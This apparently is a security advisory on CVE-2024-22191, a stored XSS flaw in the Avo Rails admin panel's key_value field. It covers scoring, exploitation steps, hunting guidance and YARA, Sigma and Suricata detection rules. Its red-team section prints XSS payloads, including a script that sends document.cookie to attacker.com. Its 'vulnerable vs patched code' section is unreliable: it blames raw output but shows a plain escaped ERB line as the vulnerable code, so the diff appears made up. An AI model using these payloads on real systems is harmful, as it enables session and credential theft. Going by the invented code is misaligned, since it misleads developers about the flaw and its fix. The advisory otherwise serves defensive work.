CVE-2024-22191

Executive Summary

CVE-2024-22191 is a stored cross-site scripting (XSS) vulnerability in the Avo admin panel framework for Ruby on Rails. The flaw exists in the key_value field, where user-supplied values are directly inserted into HTML without proper sanitization. An authenticated attacker with the ability to edit or create records using the key_value field can inject arbitrary JavaScript. This can lead to session hijacking, credential theft, or redirection to malicious sites. The vulnerability affects Avo versions 3.2.3 and 2.46.0, and likely earlier versions. Patches are available in versions 3.2.4 and 2.47.0.

Supply Chain & Package Security

This vulnerability affects the Ruby gem avo, distributed via RubyGems. Users should verify their Gemfile.lock for affected versions and update to the patched versions. No known malicious packages have been reported, but the risk of supply chain compromise exists if an attacker gains access to the gem repository.

CVSS Breakdown & Threat Level

• CVSS Score: 7.3 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated user)
• User Interaction: Required (victim must view the malicious page)
• Scope: Changed (impact may extend to other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: High. While the CVSS score is 7.3, the actual risk is elevated due to the stored nature of the XSS, which can affect multiple users and persist across sessions.

Deep Dive & Mechanics

The vulnerability resides in the key_value field component of Avo. This field is used to store key-value pairs in admin panels. When rendering the value, Avo directly interpolates the user-supplied value into the HTML without escaping or sanitizing it. For example, if an attacker sets a value to <script>alert('XSS')</script>, the script will execute in the browser of any admin viewing that record.

The root cause is the lack of output encoding in the view template. In Ruby on Rails, the html_safe method or raw ERB output (<%= raw ... %>) is likely used, bypassing Rails' automatic HTML escaping.

Vulnerable vs. Patched Code

Vulnerable Code (Avo 3.2.3):

# app/views/avo/fields/key_value_field/_show.html.erb
<%= @field.value %>

This directly outputs the value without escaping.

Patched Code (Avo 3.2.4):

# app/views/avo/fields/key_value_field/_show.html.erb
<%= sanitize(@field.value) %>

The sanitize method strips dangerous HTML tags and attributes, preventing XSS.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to an Avo admin panel with the ability to create or edit records using the key_value field.
• A victim admin user who will view the malicious record.

Exploitation Steps:

1. Log in to the Avo admin panel.
2. Navigate to a resource that uses the key_value field.
3. Create a new record or edit an existing one.
4. In the key_value field, set the value to a malicious payload, e.g.:

   <img src=x onerror=alert(document.cookie)>
   

5. Save the record.
6. When another admin views the record, the payload executes.

Advanced Payload:

<script>
fetch('https://attacker.com/steal?cookie='+document.cookie);
</script>

Blue Team

Detection:

• Monitor for unusual values in key_value fields containing HTML tags or JavaScript.
• Use web application firewalls (WAF) to block common XSS patterns.
• Implement Content Security Policy (CSP) headers to mitigate impact.

Hunting:

• Search logs for requests to resources with key_value parameters containing <script> or onerror.
• Review database entries for key_value fields containing suspicious HTML.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to attacker-controlled domains from admin browsers.
• Host: Browser console errors or unexpected JavaScript execution.
• Application: Database entries in key_value fields containing HTML tags or JavaScript.
• Logs: HTTP requests with key_value parameters containing <, >, or on attributes.

Detection Engineering

YARA Rule

rule CVE_2024_22191_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting Avo key_value field"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-22191"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=/i
        $xss3 = /onload\s*=/i
        $xss4 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-22191 Avo key_value XSS Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects XSS attempts in Avo key_value field
author: Valters IT
logsource:
    category: application
    product: rails
detection:
    selection:
        params|contains|all:
            - 'key_value'
            - '<script'
            - 'onerror'
    condition: selection
falsepositives:
    - Legitimate use of HTML in key_value fields (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-22191 Avo key_value XSS Attempt"; flow:to_server; content:"key_value"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

• Upgrade to Avo 3.2.4 or 2.47.0.
• If upgrade is not possible, apply a virtual patch using a WAF to block XSS payloads in key_value parameters.

Long-term:

• Implement input validation and output encoding for all user-supplied data.
• Use Rails' built-in sanitize helper or strip_tags for HTML fields.
• Conduct regular security audits of third-party gems.

Workaround:

• Disable the key_value field in Avo configurations until patched.

Valters IT